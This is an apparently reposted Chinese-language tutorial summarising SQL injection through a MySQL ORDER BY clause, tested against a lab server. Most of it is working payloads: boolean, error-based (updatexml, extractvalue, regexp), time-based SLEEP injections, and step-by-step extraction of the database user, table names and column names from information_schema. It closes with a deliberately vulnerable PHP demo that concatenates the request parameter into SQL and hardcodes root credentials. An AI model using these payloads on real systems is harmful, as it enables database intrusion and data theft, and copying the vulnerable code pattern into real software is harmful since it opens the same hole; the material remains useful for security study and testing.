Mysql Order By注入總結


何為order by 注入

本文討論的內容指可控制的位置在order by子句后,如下order參數可控
"select * from goods order by $_GET['order']"

簡單注入判斷

在早期注入大量存在的時候利用order by子句進行快速猜解列數,再配合union select語句進行回顯。可以通過修改order參數為較大的整數看回顯情況來判斷。在不知道列名的情況下可以通過列的的序號來指代相應的列。但是經過測試這里無法做運算,如order=3-1order=2是不一樣的

http://192.168.239.2:81/?order=11 錯誤
http://192.168.239.2:81/?order=1 正常

進一步構造payload

前面的判斷並不是絕對的,我們需要構造出類似and 1=1and 1=2的payload以便於注入出數據

http://192.168.239.2:81/?order=IF(1=1,name,price) 通過name字段排序
http://192.168.239.2:81/?order=IF(1=2,name,price) 通過price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通過name字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通過price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通過name字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,name) 通過price字段排序

可以觀測到排序的結果不一樣

http://192.168.239.2:81/?order=rand(1=1) 
http://192.168.239.2:81/?order=rand(1=2)

利用報錯

在有些情況下無法知道列名,而且也不太直觀的去判斷兩次請求的差別,如下用IF語句為例

返回多條記錄

http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正確
http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 錯誤
/?order=IF(1=1,1,(select+1+from+information_schema.tables))  正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables))  錯誤

利用regexp

http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00))  錯誤

利用updatexml

http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1)  正確
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 錯誤

利用extractvalue

http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正確
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 錯誤

基於時間的盲注、

注意如果直接if(1=2,1,SLEEP(2)),sleep時間將會變成2*當前表中記錄的數目,將會對服務器造成一定的拒絕服務攻擊

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常響應時間
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

數據猜解

以猜解user()即root@localhost為例子,由於只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及leftright可以精准分割出每一位子串。然后就是比較操作了可以利用=,like,regexp等。這里要注意like是不區分大小寫

通過下可以得知user()第一位為r,ascii碼的16進制為0x72

http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正確
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 錯誤

猜解當前數據的表名

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  正確
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 錯誤

猜解指定表名中的列名

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 錯誤

sqlmap測試

在沒有過濾的情況下是能夠檢測到注入的

 

附錄源碼


<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
  array_push($reslist, $row);
}

echo json_encode($reslist);

create database sqlidemo;
use sqlidemo;
create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
insert into goods (name, price) values("apple", 10);
insert into goods (name, price) values("banana", 15);
insert into goods (name, price) values("peach", 20);

參考

http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
https://dev.mysql.com/doc/refman/5.7/en/string-functions.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM